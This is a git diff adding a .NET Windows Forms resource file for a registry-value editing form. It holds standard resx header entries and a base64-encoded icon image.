100644 index 0000000..ee1e63a --- /dev/null +++ b/Server/Server/Forms/FormRegValueEditWord.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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